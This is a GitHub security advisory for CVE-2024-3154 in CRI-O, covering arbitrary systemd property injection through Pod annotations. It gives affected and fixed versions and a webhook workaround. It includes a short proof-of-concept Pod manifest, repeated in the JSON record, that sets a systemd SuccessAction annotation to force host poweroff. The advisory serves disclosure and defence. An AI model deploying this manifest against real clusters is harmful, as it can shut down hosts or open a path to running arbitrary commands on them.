ghsa-2cgq-h8xw-2v5j
Vulnerability from github
Published
2024-04-30 09:39
Modified
2024-05-01 13:06
Severity ?
7.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Summary
CRI-O vulnerable to an arbitrary systemd property injection
Details

Impact

On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation: ```

apiVersion: v1 kind: Pod metadata: name: poc-arbitrary-systemd-property-injection annotations: # I believe that ExecStart with an arbitrary command works here too, # but I haven't figured out how to marshalize the ExecStart struct to gvariant string. org.systemd.property.SuccessAction: "'poweroff-force'" spec: containers: - name: hello image: quay.io/podman/hello ```

This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.

Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367

Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536

CRI-O has to filter out annotations that have the prefix "org.systemd.property."

See also: - https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson - https://github.com/opencontainers/runc/pull/4217

Workarounds

Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations

References

Show details on source website

To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.29.0"
            },
            {
              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.28.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.28.0"
            },
            {
              "fixed": "1.28.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.27.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cri-o/cri-o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.27.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-77"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-30T09:39:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nOn CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:\n```\n---\napiVersion: v1\nkind: Pod\nmetadata:\n  name: poc-arbitrary-systemd-property-injection\n  annotations:\n    # I believe that ExecStart with an arbitrary command works here too,\n    # but I haven\u0027t figured out how to marshalize the ExecStart struct to gvariant string.\n    org.systemd.property.SuccessAction: \"\u0027poweroff-force\u0027\"\nspec:\n  containers:\n    - name: hello\n      image: [quay.io/podman/hello](http://quay.io/podman/hello)\n```\n\nThis means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.\n\nTested with CRI-O v1.24 on minikube.\nI didn\u0027t test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367\n\nThanks to C\u00e9dric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:\nhttps://github.com/opencontainers/runc/pull/3923#discussion_r1532292536\n\nCRI-O has to filter out annotations that have the prefix \"org.systemd.property.\"\n\nSee also:\n- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson\n- https://github.com/opencontainers/runc/pull/4217\n\n\n### Workarounds\nUnfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations\n\n### References\n\n",
  "id": "GHSA-2cgq-h8xw-2v5j",
  "modified": "2024-05-01T13:06:49Z",
  "published": "2024-04-30T09:39:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-2cgq-h8xw-2v5j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3154"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runc/pull/4217"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-3154"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2272532"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cri-o/cri-o"
    },
    {
      "type": "WEB",
      "url": "https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CRI-O vulnerable to an arbitrary systemd property injection"
}


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